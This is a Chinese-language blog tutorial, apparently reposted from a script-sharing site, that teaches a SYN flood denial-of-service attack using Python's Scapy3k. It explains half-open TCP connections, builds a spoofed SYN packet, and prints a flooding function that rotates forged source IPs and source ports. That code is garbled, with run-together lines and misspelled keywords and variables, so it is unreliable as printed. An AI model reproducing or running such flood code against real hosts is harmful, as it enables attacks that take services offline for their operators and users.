python3版本的Scapy--Scapy3k來實(shí)現(xiàn)一個(gè)簡單的DDos。
首先實(shí)現(xiàn)SYN泛洪攻擊(SYN Flood,是一直常用的DOS方式之一,通過發(fā)送大量偽造的TCP連接請(qǐng)求,使被攻擊主機(jī)資源耗盡的攻擊方式)。TCP三次握手的過程在這里就不再贅述,SYN攻擊則是客戶端向服務(wù)器發(fā)送SYN報(bào)文之后就不再響應(yīng)服務(wù)器回應(yīng)的報(bào)文,由于服務(wù)器在處理TCP請(qǐng)求時(shí),會(huì)在協(xié)議棧留一塊緩沖區(qū)來存儲(chǔ)握手的過程,如果超過一定的時(shí)間沒有接收到客戶端的報(bào)文,那么本次連接在協(xié)議棧中存儲(chǔ)的數(shù)據(jù)就會(huì)被丟棄。攻擊者如果利用這段時(shí)間發(fā)送了大量的連接請(qǐng)求,全部掛起在半連接狀態(tài),這樣將不斷消耗服務(wù)器資源,直到拒接服務(wù)。
Scapy是一個(gè)強(qiáng)大的交互式數(shù)據(jù)包處理程序,可以用來發(fā)送、嗅探、解析和偽造網(wǎng)絡(luò)數(shù)據(jù)包。首先需要安裝Scapy3k:
sudo pip3 install scapy-python3
現(xiàn)在學(xué)習(xí)一下scapy的使用方法:
sudo scapy(scapy發(fā)送數(shù)據(jù)包需要root權(quán)限)
(警告信息是因?yàn)橛幸恍┮蕾嚢鼪]有安裝,但是我們本次實(shí)驗(yàn)不需要使用我就不裝了)
現(xiàn)在我們使用Scapy構(gòu)造一個(gè)簡單的數(shù)據(jù)包看一下:
pkt = IP(dst = "192.168.0.10")
接下來我們就構(gòu)造一個(gè)SYN包:
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
(我們構(gòu)造了一個(gè)IP包和TCP包并將它們組合到一塊,這樣就有了一個(gè)完整的TCP數(shù)據(jù)包,否則是無法發(fā)送出去的,IP包中我)們指定了源IP地址src和目的IP地址dst,其中src是我們偽造的地址,flags的值設(shè)定為S說明要發(fā)送的是SYN數(shù)據(jù)包)
代碼實(shí)現(xiàn):
具體代碼如下:
import random import scapy.all import * def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] from sPort in range(1-24,65535): index = random.randrange(4) ipLayer = IP(stc = stcList[index].dst = tgt) tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S") packet = ipLayer/tcpLayer send(packet)
定義了srcList用于存放偽造的IP地址,之后定義了一個(gè)循環(huán),作用是每次發(fā)送數(shù)據(jù)包源端口都改變,可以看到在構(gòu)造TCP數(shù)據(jù)包的時(shí)候我們?cè)黾恿艘粋€(gè)參數(shù)sport,循環(huán)中改變的端口號(hào)就是給了sport這個(gè)參數(shù)。我們還調(diào)用random.randrange()函數(shù)來隨機(jī)從srcList中獲取一個(gè)偽造的IP地址。本次實(shí)驗(yàn)就算完成,下次實(shí)驗(yàn)實(shí)現(xiàn)一個(gè)完整的Ddos過程。
以上這篇Python項(xiàng)目 基于Scapy實(shí)現(xiàn)SYN泛洪攻擊的方法就是小編分享給大家的全部內(nèi)容了,希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號(hào)聯(lián)系: 360901061
您的支持是博主寫作最大的動(dòng)力,如果您喜歡我的文章,感覺我的文章對(duì)您有幫助,請(qǐng)用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請(qǐng)將微信支付二維碼保存到相冊(cè),切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對(duì)您有幫助就好】元
